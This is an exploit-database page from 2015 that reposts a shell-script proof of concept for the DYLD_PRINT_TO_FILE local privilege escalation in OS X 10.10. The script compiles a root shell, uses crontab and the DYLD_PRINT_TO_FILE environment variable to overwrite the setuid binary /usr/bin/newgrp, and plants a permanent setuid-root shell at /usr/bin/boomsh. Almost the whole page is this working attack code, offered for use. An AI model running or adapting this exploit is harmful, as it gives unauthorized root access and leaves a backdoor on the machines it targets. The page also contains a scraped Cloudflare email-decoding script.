Full title OSX 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Exploit
Date add 22-07-2015
Category local exploits
Platform macOS
Risk Security Risk High
[PHP] 纯文本查看 复制代码 #!/bin/sh
#
# Simple Proof of Concept Exploit for the DYLD_PRINT_TO_FILE
# local privilege escalation vulnerability in OS X 10.10 - 10.10.4
#
# (C) Copyright 2015 Stefan Esser <[email]stefan.esser@sektioneins.de[/email]<script cf-hash="f9e31" type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>>
#
# Wait months for a fix from Apple or install the following KEXT as protection
# [url]https://github.com/sektioneins/SUIDGuard[/url]
#
# Use at your own risk. This copies files around with root permissions,
# overwrites them and deletes them afterwards. Any glitch could corrupt your
# system. So you have been warned.
SUIDVICTIM=/usr/bin/newgrp
# why even try to prevent a race condition?
TARGET=`pwd`/tmpXXXXX
rm -rf $TARGET
mkdir $TARGET
cat << EOF > $TARGET/boomsh.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash -i");
printf("done.\n");
return 0;
}
EOF
cat << EOF > $TARGET/overwrite.c
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
int fd;
char buffer[1024];
ssize_t toread, numread;
ssize_t numwritten;
ssize_t size;
/* disable O_APPEND */
fcntl(3, F_SETFL, 0);
lseek(3, 0, SEEK_SET);
/* write file into it */
fd = open(
EOF
echo "\"$TARGET/boomsh\"" >> $TARGET/overwrite.c
cat << EOF >> $TARGET/overwrite.c
, O_RDONLY, 0);
if (fd > 0) {
/* determine size */
size = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
while (size > 0) {
if (size > sizeof(buffer)) {
toread = sizeof(buffer);
} else {
toread = size;
}
numread = read(fd, &buffer, toread);
if (numread < toread) {
fprintf(stderr, "problem reading\n");
_exit(2);
}
numwritten = write(3, &buffer, numread);
if (numread != numwritten) {
fprintf(stderr, "problem writing\n");
_exit(2);
}
size -= numwritten;
}
fsync(3);
close(fd);
} else {
fprintf(stderr, "Cannot open for reading\n");
}
return 0;
}
EOF
cp $SUIDVICTIM $TARGET/backup
gcc -o $TARGET/overwrite $TARGET/overwrite.c
gcc -o $TARGET/boomsh $TARGET/boomsh.c
EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null
echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null
echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null
rm -rf $TARGET
/usr/bin/boomsh | 
发表于 2015-7-23 14:01:18
发表于 2015-7-24 01:18:57
